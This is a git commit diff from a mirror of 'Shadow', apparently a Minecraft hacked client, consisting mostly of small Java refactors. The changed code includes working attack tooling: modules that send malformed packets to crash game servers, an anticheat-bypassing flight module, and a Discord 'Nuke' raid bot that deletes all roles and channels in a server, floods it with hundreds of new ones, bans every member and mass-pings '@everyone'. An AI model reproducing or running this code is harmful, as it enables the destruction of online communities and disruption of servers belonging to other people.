mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
jesse im fixing issues
This commit is contained in:
parent
a19b6c7bd0
commit
c72598957a
32 changed files with 99 additions and 199 deletions
|
@ -5,8 +5,8 @@
|
|||
package net.shadow.client.feature.command.coloring;
|
||||
|
||||
public class PossibleArgument {
|
||||
String[] suggestions;
|
||||
ArgumentType type;
|
||||
final String[] suggestions;
|
||||
final ArgumentType type;
|
||||
|
||||
public PossibleArgument(ArgumentType type, String... suggestions) {
|
||||
this.suggestions = suggestions;
|
||||
|
|
|
@ -40,7 +40,7 @@ public class Gensploit extends Command {
|
|||
}
|
||||
|
||||
@Override
|
||||
public void onExecute(String[] args) throws CommandException {
|
||||
public void onExecute(String[] args) {
|
||||
String itemname = ""; // find way to compile between the "" for these
|
||||
String mode = args[0];
|
||||
String text = ""; // find way to compile between the "" for these
|
||||
|
|
|
@ -39,7 +39,7 @@ public class Help extends Command {
|
|||
}
|
||||
|
||||
@Override
|
||||
public void onExecute(String[] args) throws CommandException {
|
||||
public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
message("All commands and their description");
|
||||
for (Command command : CommandRegistry.getCommands()) {
|
||||
|
|
|
@ -19,9 +19,7 @@ public class Test extends Command {
|
|||
public void onExecute(String[] args) {
|
||||
if (ShadowAPIWrapper.getAuthKey() != null && ShadowAPIWrapper.isCurrentUserAdmin()) {
|
||||
System.out.println(ShadowAPIWrapper.getAccounts());
|
||||
Utils.TickManager.runInNTicks(5, () -> {
|
||||
ShadowMain.client.setScreen(OnlineServicesDashboardScreen.getInstance());
|
||||
});
|
||||
Utils.TickManager.runInNTicks(5, () -> ShadowMain.client.setScreen(OnlineServicesDashboardScreen.getInstance()));
|
||||
} else {
|
||||
error("not logged in or not admin");
|
||||
}
|
||||
|
|
|
@ -42,7 +42,7 @@ public class ClickGUI extends Screen implements FastTickable {
|
|||
// public static final Theme theme = new SipoverV1();
|
||||
|
||||
static final Color tooltipColor = new Color(20, 20, 30, 255);
|
||||
static ConfigContainer configContainer = new ConfigContainer(new File(ShadowMain.BASE, "clickGui.sip"), "amongUs");
|
||||
static final ConfigContainer configContainer = new ConfigContainer(new File(ShadowMain.BASE, "clickGui.sip"), "amongUs");
|
||||
private static ClickGUI instance;
|
||||
final List<Element> elements = new ArrayList<>();
|
||||
final ParticleRenderer real = new ParticleRenderer(100);
|
||||
|
@ -63,9 +63,7 @@ public class ClickGUI extends Screen implements FastTickable {
|
|||
}
|
||||
this.real.render(Renderer.R3D.getEmptyMatrixStack());
|
||||
});
|
||||
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> {
|
||||
saveConfig();
|
||||
});
|
||||
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> saveConfig());
|
||||
loadConfig();
|
||||
}
|
||||
|
||||
|
|
|
@ -25,10 +25,10 @@ public class HudNotification {
|
|||
final String content;
|
||||
final long duration;
|
||||
final Type type;
|
||||
long creation = System.currentTimeMillis();
|
||||
double texDim = 16;
|
||||
double pad = 2;
|
||||
long fadeTime = 1200;
|
||||
final long creation = System.currentTimeMillis();
|
||||
final double texDim = 16;
|
||||
final double pad = 2;
|
||||
final long fadeTime = 1200;
|
||||
|
||||
public static HudNotification create(String content, long duration, Type type) {
|
||||
HudNotification n = new HudNotification(content, duration, type);
|
||||
|
|
|
@ -14,7 +14,7 @@ import java.util.concurrent.CopyOnWriteArrayList;
|
|||
|
||||
public class HudNotificationRenderer {
|
||||
public static final HudNotificationRenderer instance = new HudNotificationRenderer();
|
||||
List<HudNotification> notifs = new CopyOnWriteArrayList<>();
|
||||
final List<HudNotification> notifs = new CopyOnWriteArrayList<>();
|
||||
|
||||
void addNotification(HudNotification notif) {
|
||||
this.notifs.add(notif);
|
||||
|
|
|
@ -67,9 +67,7 @@ public class AddonManagerScreen extends ClientScreen implements FastTickable {
|
|||
@Override
|
||||
protected void init() {
|
||||
reInitViewers();
|
||||
RoundButton openFolder = new RoundButton(RoundButton.STANDARD, 5, 5, 100, 20, "Open folder", () -> {
|
||||
Util.getOperatingSystem().open(AddonManager.ADDON_DIRECTORY);
|
||||
});
|
||||
RoundButton openFolder = new RoundButton(RoundButton.STANDARD, 5, 5, 100, 20, "Open folder", () -> Util.getOperatingSystem().open(AddonManager.ADDON_DIRECTORY));
|
||||
this.addDrawableChild(openFolder);
|
||||
}
|
||||
|
||||
|
|
|
@ -81,7 +81,7 @@ public class AltManagerScreen extends ClientScreen implements FastTickable {
|
|||
double scroll = 0;
|
||||
double scrollSmooth = 0;
|
||||
Texture currentAccountTexture = new Texture("dynamic/currentaccount");
|
||||
boolean currentAccountTextureLoaded = true;
|
||||
final boolean currentAccountTextureLoaded = true;
|
||||
|
||||
private AltManagerScreen() {
|
||||
super(MSAAFramebuffer.MAX_SAMPLES);
|
||||
|
@ -414,74 +414,6 @@ public class AltManagerScreen extends ClientScreen implements FastTickable {
|
|||
return false;
|
||||
}
|
||||
|
||||
// static class RoundButton {
|
||||
// final Runnable onPress;
|
||||
// final double width;
|
||||
// final double height;
|
||||
// String text;
|
||||
// double x;
|
||||
// double y;
|
||||
// double animProgress = 0;
|
||||
// boolean isHovered = false;
|
||||
// boolean enabled = true;
|
||||
//
|
||||
//
|
||||
// public RoundButton(double x, double y, double w, double h, String t, Runnable a) {
|
||||
// this.onPress = a;
|
||||
// this.x = x;
|
||||
// this.y = y;
|
||||
// this.width = w;
|
||||
// this.height = h;
|
||||
// this.text = t;
|
||||
// }
|
||||
//
|
||||
// public boolean isEnabled() {
|
||||
// return enabled;
|
||||
// }
|
||||
//
|
||||
// public void setEnabled(boolean enabled) {
|
||||
// this.enabled = enabled;
|
||||
// }
|
||||
//
|
||||
// public void tickAnim() {
|
||||
// double d = 0.04;
|
||||
// if (!isHovered) {
|
||||
// d *= -1;
|
||||
// }
|
||||
// animProgress += d;
|
||||
// animProgress = MathHelper.clamp(animProgress, 0, 1);
|
||||
//
|
||||
// }
|
||||
//
|
||||
// double easeInOutQuint(double x) {
|
||||
// return x < 0.5 ? 16 * x * x * x * x * x : 1 - Math.pow(-2 * x + 2, 5) / 2;
|
||||
// }
|
||||
//
|
||||
// boolean inBounds(double cx, double cy) {
|
||||
// return cx >= x && cx < x + width && cy >= y && cy < y + height;
|
||||
// }
|
||||
//
|
||||
// public void render(MatrixStack matrices, double mx, double my) {
|
||||
// isHovered = inBounds(mx, my) && isEnabled();
|
||||
// matrices.push();
|
||||
// matrices.translate(x + width / 2d, y + height / 2d, 0);
|
||||
// float animProgress = (float) easeInOutQuint(this.animProgress);
|
||||
// matrices.scale(MathHelper.lerp(animProgress, 1f, 0.95f), MathHelper.lerp(animProgress, 1f, 0.95f), 1f);
|
||||
// double originX = -width / 2d;
|
||||
// double originY = -height / 2d;
|
||||
// Renderer.R2D.renderRoundedQuad(matrices, widgetColor, originX, originY, width / 2d, height / 2d, 5, 20);
|
||||
// FontRenderers.getRenderer().drawString(matrices, text, -(FontRenderers.getRenderer().getStringWidth(text)) / 2f, -FontRenderers.getRenderer()
|
||||
// .getMarginHeight() / 2f, isEnabled() ? 0xFFFFFF : 0xAAAAAA, false);
|
||||
// matrices.pop();
|
||||
// }
|
||||
//
|
||||
// public void clicked(double mx, double my) {
|
||||
// if (inBounds(mx, my) && isEnabled()) {
|
||||
// onPress.run();
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
static class AltStorage {
|
||||
final String email;
|
||||
final String password;
|
||||
|
|
|
@ -39,7 +39,7 @@ import java.util.concurrent.CopyOnWriteArrayList;
|
|||
import java.util.function.BiConsumer;
|
||||
|
||||
public class OnlineServicesDashboardScreen extends ClientScreen implements FastTickable {
|
||||
static List<LogsFieldWidget.LogEntry> logs = new CopyOnWriteArrayList<>();
|
||||
static final List<LogsFieldWidget.LogEntry> logs = new CopyOnWriteArrayList<>();
|
||||
private static OnlineServicesDashboardScreen instance;
|
||||
long reconnectTime = System.currentTimeMillis();
|
||||
SimpleWebsocket logsSocket;
|
||||
|
@ -151,7 +151,7 @@ public class OnlineServicesDashboardScreen extends ClientScreen implements FastT
|
|||
}
|
||||
|
||||
static class RegisterAccountViewer extends AccountViewerWidget {
|
||||
BiConsumer<String, String> r;
|
||||
final BiConsumer<String, String> r;
|
||||
RoundTextFieldWidget user, pass;
|
||||
RoundButton reg;
|
||||
|
||||
|
@ -262,7 +262,7 @@ public class OnlineServicesDashboardScreen extends ClientScreen implements FastT
|
|||
class LogsFieldWidget implements Element, Drawable, Selectable, FastTickable {
|
||||
final double x, y, w, h;
|
||||
final List<LogEntry> logs;
|
||||
Scroller scroller = new Scroller(0);
|
||||
final Scroller scroller = new Scroller(0);
|
||||
|
||||
double heightPerLine() {
|
||||
return FontRenderers.getRenderer().getFontHeight() + 8;
|
||||
|
@ -372,7 +372,7 @@ public class OnlineServicesDashboardScreen extends ClientScreen implements FastT
|
|||
final double x, y, w, h;
|
||||
@Getter
|
||||
List<AccountViewerWidget> aww = new CopyOnWriteArrayList<>();
|
||||
Scroller s = new Scroller(0);
|
||||
final Scroller s = new Scroller(0);
|
||||
|
||||
public void add(AccountViewerWidget v) {
|
||||
aww.add(v);
|
||||
|
|
|
@ -19,7 +19,7 @@ import java.util.Base64;
|
|||
import java.util.List;
|
||||
|
||||
public class ItemGroupRegistry {
|
||||
public static List<ShadItemGroupEntry> groups = Util.make(() -> {
|
||||
public static final List<ShadItemGroupEntry> groups = Util.make(() -> {
|
||||
List<ShadItemGroupEntry> entries = new ArrayList<>();
|
||||
entries.add(new ShadItemGroupEntry(new ShadItemGroup("Exploits", new ItemStack(Items.ARMOR_STAND)), "exploit"));
|
||||
entries.add(new ShadItemGroupEntry(new ShadItemGroup("Grief", new ItemStack(Items.TNT)), "grief"));
|
||||
|
|
|
@ -21,7 +21,7 @@ public class ShadItemGroup {
|
|||
String nameS;
|
||||
@Getter
|
||||
ItemStack icon;
|
||||
Text name;
|
||||
final Text name;
|
||||
@Getter
|
||||
List<ItemStack> items = new CopyOnWriteArrayList<>();
|
||||
|
||||
|
|
|
@ -20,8 +20,8 @@ public class CraftCrash extends Module {
|
|||
|
||||
int ticks;
|
||||
boolean isListening = false;
|
||||
Recipe stick = null;
|
||||
Recipe buton = null;
|
||||
Recipe<?> stick = null;
|
||||
Recipe<?> buton = null;
|
||||
int superticks;
|
||||
|
||||
|
||||
|
@ -36,10 +36,10 @@ public class CraftCrash extends Module {
|
|||
if (event.getPacket() instanceof CraftRequestC2SPacket packet) {
|
||||
if (isListening) {
|
||||
if (stick == null) {
|
||||
stick = client.player.world.getRecipeManager().get(packet.getRecipe()).get();
|
||||
stick = client.player.world.getRecipeManager().get(packet.getRecipe()).orElseThrow();
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Selected first recipe");
|
||||
} else {
|
||||
buton = client.player.world.getRecipeManager().get(packet.getRecipe()).get();
|
||||
buton = client.player.world.getRecipeManager().get(packet.getRecipe()).orElseThrow();
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Selected second recipe");
|
||||
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Starting the crash!");
|
||||
isListening = false;
|
||||
|
|
|
@ -21,7 +21,7 @@ import net.shadow.client.feature.module.ModuleType;
|
|||
|
||||
public class ErrorCrash extends Module {
|
||||
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<Mode>(Mode.Click).name("Mode").description("what bad packet to send").get());
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Click).name("Mode").description("what bad packet to send").get());
|
||||
final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(5).min(1).max(500).name("Power").description("Force to attack with").get());
|
||||
|
||||
public ErrorCrash() {
|
||||
|
@ -32,7 +32,7 @@ public class ErrorCrash extends Module {
|
|||
public void tick() {
|
||||
switch (mode.getValue()) {
|
||||
case Click -> {
|
||||
Int2ObjectMap<ItemStack> ripbozo = new Int2ObjectArrayMap();
|
||||
Int2ObjectMap<ItemStack> ripbozo = new Int2ObjectArrayMap<>();
|
||||
ripbozo.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
|
||||
for (int i = 0; i < pwr.getValue(); i++) {
|
||||
client.player.networkHandler.sendPacket(new ClickSlotC2SPacket(client.player.currentScreenHandler.syncId, 123344, 2957234, 2859623, SlotActionType.PICKUP, new ItemStack(Items.AIR, -1), ripbozo));
|
||||
|
|
|
@ -18,7 +18,7 @@ import net.shadow.client.helper.util.Utils;
|
|||
import java.net.URI;
|
||||
|
||||
public class IRC extends Module {
|
||||
static String ircPrefix = "#";
|
||||
static final String ircPrefix = "#";
|
||||
public IRCWebSocket wsS;
|
||||
|
||||
public IRC() {
|
||||
|
|
|
@ -30,7 +30,7 @@ public class ItemPuke extends Module {
|
|||
@Override
|
||||
public void tick() {
|
||||
for (int i = 0; i < speed.getValue(); i++) {
|
||||
ItemStack j = new ItemStack(Registry.ITEM.get(Registry.ITEM.getRandom(r).get().getKey().get().getValue()), 64);
|
||||
ItemStack j = new ItemStack(Registry.ITEM.get(Registry.ITEM.getRandom(r).orElseThrow().getKey().orElseThrow().getValue()), 64);
|
||||
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(client.player.getInventory().selectedSlot + 36, j));
|
||||
client.player.networkHandler.sendPacket(new PlayerActionC2SPacket(Action.DROP_ALL_ITEMS, new BlockPos(0, 0, 0), Direction.UP));
|
||||
}
|
||||
|
|
|
@ -10,7 +10,7 @@ import net.shadow.client.feature.module.Module;
|
|||
import net.shadow.client.feature.module.ModuleType;
|
||||
|
||||
public class MoreChatHistory extends Module {
|
||||
DoubleSetting size = this.config.create(new DoubleSetting.Builder(300).name("Size").description("How big the new chat history should be allowed to get (vanilla is 100)").min(10).max(1000).precision(0).get());
|
||||
final DoubleSetting size = this.config.create(new DoubleSetting.Builder(300).name("Size").description("How big the new chat history should be allowed to get (vanilla is 100)").min(10).max(1000).precision(0).get());
|
||||
|
||||
public MoreChatHistory() {
|
||||
super("MoreChatHistory", "Allows you to change the size of the chat history", ModuleType.MISC);
|
||||
|
|
|
@ -38,7 +38,7 @@ public class Flight extends Module {
|
|||
final BooleanSetting bypassVanillaAc = this.config.create(new BooleanSetting.Builder(true).name("Bypass vanilla AC").description("Whether to bypass the vanilla anticheat").get());
|
||||
final DoubleSetting speed = this.config.create(new DoubleSetting.Builder(1).name("Speed").description("How fast you fly").min(0).max(10).get());
|
||||
final List<Packet<?>> queue = new ArrayList<>();
|
||||
Timer lag = new Timer();
|
||||
final Timer lag = new Timer();
|
||||
boolean capturePackets = false;
|
||||
int bypassTimer = 0;
|
||||
boolean flewBefore = false;
|
||||
|
|
|
@ -21,7 +21,7 @@ import java.util.List;
|
|||
import java.util.concurrent.CopyOnWriteArrayList;
|
||||
|
||||
public class ChestHighlighter extends Module {
|
||||
List<BlockPos> positions = new CopyOnWriteArrayList<>();
|
||||
final List<BlockPos> positions = new CopyOnWriteArrayList<>();
|
||||
|
||||
public ChestHighlighter() {
|
||||
super("ChestHighlighter", "Shows all chests in the area", ModuleType.RENDER);
|
||||
|
|
|
@ -31,18 +31,6 @@ public class Freecam extends Module {
|
|||
|
||||
public Freecam() {
|
||||
super("Freecam", "Imitates spectator without you having permission to use it", ModuleType.RENDER);
|
||||
// Events.registerEventHandler(EventType.PACKET_SEND, event1 -> {
|
||||
// if (!this.isEnabled()) {
|
||||
// return;
|
||||
// }
|
||||
// PacketEvent event = (PacketEvent) event1;
|
||||
// });
|
||||
// Events.registerEventHandler(EventType.NOCLIP_QUERY, event -> {
|
||||
// if (!this.isEnabled() || ((PlayerNoClipQueryEvent) event).getPlayer().isOnGround()) {
|
||||
// return;
|
||||
// }
|
||||
// ((PlayerNoClipQueryEvent) event).setNoClipState(PlayerNoClipQueryEvent.NoClipState.ACTIVE);
|
||||
// });
|
||||
}
|
||||
|
||||
@EventListener(type = EventType.PACKET_SEND)
|
||||
|
|
|
@ -49,9 +49,7 @@ public class NameTags extends Module {
|
|||
Vec3d headPos = Utils.getInterpolatedEntityPosition(entity).add(0, entity.getHeight() + 0.3, 0);
|
||||
Vec3d a = Renderer.R2D.getScreenSpaceCoordinate(headPos, stack);
|
||||
if (Renderer.R2D.isOnScreen(a)) {
|
||||
Utils.TickManager.runOnNextRender(() -> {
|
||||
drawInternal(a, t, entity);
|
||||
});
|
||||
Utils.TickManager.runOnNextRender(() -> drawInternal(a, t, entity));
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@ import net.shadow.client.helper.util.Transitions;
|
|||
|
||||
public class Radar extends Module {
|
||||
public double iScale = 0;
|
||||
DoubleSetting scale = this.config.create(new DoubleSetting.Builder(3).name("Scale").description("How much area to show around you").min(0.1).max(10).precision(1).get());
|
||||
final DoubleSetting scale = this.config.create(new DoubleSetting.Builder(3).name("Scale").description("How much area to show around you").min(0.1).max(10).precision(1).get());
|
||||
|
||||
public Radar() {
|
||||
super("Radar", "Allows you to see other players and entities around", ModuleType.RENDER);
|
||||
|
|
|
@ -48,8 +48,8 @@ public class ToolsScreen extends Module {
|
|||
|
||||
|
||||
BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get();
|
||||
StringSetting token = new StringSetting.Builder("").name("Token").get();
|
||||
StringSetting guild = new StringSetting.Builder("").name("Guild ID").get();
|
||||
final StringSetting token = new StringSetting.Builder("").name("Token").get();
|
||||
final StringSetting guild = new StringSetting.Builder("").name("Guild ID").get();
|
||||
|
||||
public ToolsScreen() {
|
||||
super("ToolsScreen", "The tools screen", ModuleType.RENDER);
|
||||
|
@ -152,51 +152,47 @@ public class ToolsScreen extends Module {
|
|||
packetinputmode = "worldguard";
|
||||
enabled = true;
|
||||
ShadowMain.client.player.sendChatMessage("/rg list");
|
||||
}) }), new PanelFrame(500, 100, 250, 125, "Discord", new Element[] { new StringSettingEditor(0, 0, 240, token), new StringSettingEditor(0, 30, 240, guild), new PanelButton(0, 65, -1, "Nuke", () -> {
|
||||
new Thread(() -> {
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
|
||||
try {
|
||||
long guildId = Long.valueOf(guild.getValue());
|
||||
DiscordClient client = new DiscordClient(token.getValue(), true);
|
||||
for (long role : client.getRoles(guildId)) {
|
||||
pool.execute(() -> client.deleteRole(guildId, role));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
|
||||
for (int i = 0; i < 250; i++) {
|
||||
pool.execute(() -> client.createRole(guildId, "moles"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
|
||||
for (long channel : client.getChannels(guildId)) {
|
||||
pool.execute(() -> client.deleteChannel(channel));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
|
||||
for (int i = 0; i < 500; i++) {
|
||||
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
|
||||
for (long member : client.getMembers(guildId)) {
|
||||
pool.execute(() -> client.banMember(guildId, member));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
|
||||
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
|
||||
for (int i = 0; i < 5; i++) {
|
||||
for (long channel : client.getChannels(guildId)) {
|
||||
pool.execute(() -> {
|
||||
client.sendMessage(channel, "@everyone raided by discord.gg/moles", true);
|
||||
});
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}) }), new PanelFrame(500, 100, 250, 125, "Discord", new Element[] { new StringSettingEditor(0, 0, 240, token), new StringSettingEditor(0, 30, 240, guild), new PanelButton(0, 65, -1, "Nuke", () -> new Thread(() -> {
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>());
|
||||
try {
|
||||
long guildId = Long.parseLong(guild.getValue());
|
||||
DiscordClient client = new DiscordClient(token.getValue(), true);
|
||||
for (long role : client.getRoles(guildId)) {
|
||||
pool.execute(() -> client.deleteRole(guildId, role));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}).start();
|
||||
}), }) });
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
|
||||
for (int i = 0; i < 250; i++) {
|
||||
pool.execute(() -> client.createRole(guildId, "moles"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
|
||||
for (long channel : client.getChannels(guildId)) {
|
||||
pool.execute(() -> client.deleteChannel(channel));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
|
||||
for (int i = 0; i < 500; i++) {
|
||||
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
|
||||
for (long member : client.getMembers(guildId)) {
|
||||
pool.execute(() -> client.banMember(guildId, member));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
|
||||
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
|
||||
for (int i = 0; i < 5; i++) {
|
||||
for (long channel : client.getChannels(guildId)) {
|
||||
pool.execute(() -> client.sendMessage(channel, "@everyone raided by discord.gg/moles", true));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}).start()), }) });
|
||||
}
|
||||
ShadowMain.client.setScreen(menu);
|
||||
this.setEnabled(false);
|
||||
|
|
|
@ -15,16 +15,15 @@ import org.java_websocket.client.WebSocketClient;
|
|||
import org.java_websocket.handshake.ServerHandshake;
|
||||
|
||||
import java.net.URI;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
import java.util.concurrent.CopyOnWriteArrayList;
|
||||
|
||||
public class IRCWebSocket extends WebSocketClient {
|
||||
public static List<PlayerEntry> knownIRCPlayers = new CopyOnWriteArrayList<>();
|
||||
String authToken;
|
||||
Runnable onClose;
|
||||
public static final List<PlayerEntry> knownIRCPlayers = new CopyOnWriteArrayList<>();
|
||||
final String authToken;
|
||||
final Runnable onClose;
|
||||
|
||||
public IRCWebSocket(URI serverUri, String authToken, Runnable onClose) {
|
||||
super(serverUri, Map.of("Authorization", authToken, "X-MC-UUID", ShadowMain.client.getSession().getUuid(), "X-MC-USERNAME", ShadowMain.client.getSession().getUsername()));
|
||||
|
@ -60,7 +59,7 @@ public class IRCWebSocket extends WebSocketClient {
|
|||
}
|
||||
case "usersList" -> {
|
||||
knownIRCPlayers.clear();
|
||||
for (LinkedTreeMap<String, String> who : ((ArrayList<LinkedTreeMap<String, String>>) p.data.get("who"))) {
|
||||
for (LinkedTreeMap<String, String> who : ((Iterable<LinkedTreeMap<String, String>>) p.data.get("who"))) {
|
||||
String u = who.get("username");
|
||||
UUID uuid;
|
||||
try {
|
||||
|
|
|
@ -23,8 +23,8 @@ public class ShadowAPIWrapper {
|
|||
public static final String BASE_URL = "https://" + BASE_DOMAIN;
|
||||
public static final String BASE_WS = "wss://" + BASE_DOMAIN;
|
||||
static String authKey = "";
|
||||
static HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
|
||||
static Gson gson = new Gson();
|
||||
static final HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
|
||||
static final Gson gson = new Gson();
|
||||
static boolean currentUserIsAdmin = false;
|
||||
|
||||
public static String getAuthKey() {
|
||||
|
|
|
@ -9,8 +9,8 @@ import java.io.IOException;
|
|||
import java.net.http.HttpResponse;
|
||||
|
||||
public class DiscordClient {
|
||||
String token;
|
||||
HttpWrapper requests = new HttpWrapper();
|
||||
final String token;
|
||||
final HttpWrapper requests = new HttpWrapper();
|
||||
|
||||
public DiscordClient(String token, boolean isBot) {
|
||||
if (isBot) {
|
||||
|
|
|
@ -15,7 +15,7 @@ public class HttpWrapper {
|
|||
|
||||
final HttpClient client = HttpClient.newBuilder().version(HttpClient.Version.HTTP_1_1).followRedirects(HttpClient.Redirect.ALWAYS).connectTimeout(Duration.ofSeconds(20)).build();
|
||||
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>());
|
||||
|
||||
public HttpWrapper() {
|
||||
|
||||
|
@ -30,8 +30,7 @@ public class HttpWrapper {
|
|||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
public void getAsync(String uri, String... headers) {
|
||||
|
@ -62,8 +61,7 @@ public class HttpWrapper {
|
|||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
public void postAsync(String uri, String data, String... headers) {
|
||||
|
@ -94,8 +92,7 @@ public class HttpWrapper {
|
|||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
public void deleteAsync(String uri, String... headers) {
|
||||
|
@ -125,8 +122,7 @@ public class HttpWrapper {
|
|||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
public void putAsync(String uri, String data, String... headers) {
|
||||
|
@ -156,8 +152,7 @@ public class HttpWrapper {
|
|||
}
|
||||
|
||||
HttpRequest request = builder.build();
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response;
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
public void patchAsync(String uri, String data, String... headers) {
|
||||
|
|
|
@ -8,9 +8,9 @@ import net.shadow.client.ShadowMain;
|
|||
import org.lwjgl.glfw.GLFW;
|
||||
|
||||
public class Cursor {
|
||||
public static long CLICK = GLFW.glfwCreateStandardCursor(GLFW.GLFW_HAND_CURSOR);
|
||||
public static long STANDARD = GLFW.glfwCreateStandardCursor(GLFW.GLFW_ARROW_CURSOR);
|
||||
public static long TEXT_EDIT = GLFW.glfwCreateStandardCursor(GLFW.GLFW_IBEAM_CURSOR);
|
||||
public static final long CLICK = GLFW.glfwCreateStandardCursor(GLFW.GLFW_HAND_CURSOR);
|
||||
public static final long STANDARD = GLFW.glfwCreateStandardCursor(GLFW.GLFW_ARROW_CURSOR);
|
||||
public static final long TEXT_EDIT = GLFW.glfwCreateStandardCursor(GLFW.GLFW_IBEAM_CURSOR);
|
||||
public static long HSLIDER = GLFW.glfwCreateStandardCursor(GLFW.GLFW_HRESIZE_CURSOR);
|
||||
private static long currentCursor = -1;
|
||||
|
||||
|
|
|
@ -24,8 +24,8 @@ import java.util.UUID;
|
|||
|
||||
public class PlayerHeadResolver {
|
||||
static final NativeImageBackedTexture EMPTY = new NativeImageBackedTexture(1, 1, false);
|
||||
static HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
|
||||
static Map<UUID, NativeImageBackedTexture> imageCache = new HashMap<>();
|
||||
static final HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
|
||||
static final Map<UUID, NativeImageBackedTexture> imageCache = new HashMap<>();
|
||||
|
||||
public static void resolve(UUID uuid, Texture texture) {
|
||||
if (imageCache.containsKey(uuid)) {
|
||||
|
|
|
@ -83,7 +83,7 @@ public class Utils {
|
|||
}
|
||||
|
||||
|
||||
public static void sendPacket(Packet packet) {
|
||||
public static void sendPacket(Packet<?> packet) {
|
||||
sendPackets = false;
|
||||
ShadowMain.client.player.networkHandler.sendPacket(packet);
|
||||
sendPackets = true;
|
||||
|
@ -367,7 +367,7 @@ public class Utils {
|
|||
}
|
||||
|
||||
public static class Logging {
|
||||
static Queue<Text> messageQueue = new ArrayDeque<>();
|
||||
static final Queue<Text> messageQueue = new ArrayDeque<>();
|
||||
|
||||
static void sendMessages() {
|
||||
if (ShadowMain.client.player != null) {
|
||||
|
|
|
@ -12,8 +12,8 @@ import java.util.Map;
|
|||
import java.util.function.Consumer;
|
||||
|
||||
public class SimpleWebsocket extends WebSocketClient {
|
||||
Runnable onClose;
|
||||
Consumer<String> onMessage;
|
||||
final Runnable onClose;
|
||||
final Consumer<String> onMessage;
|
||||
|
||||
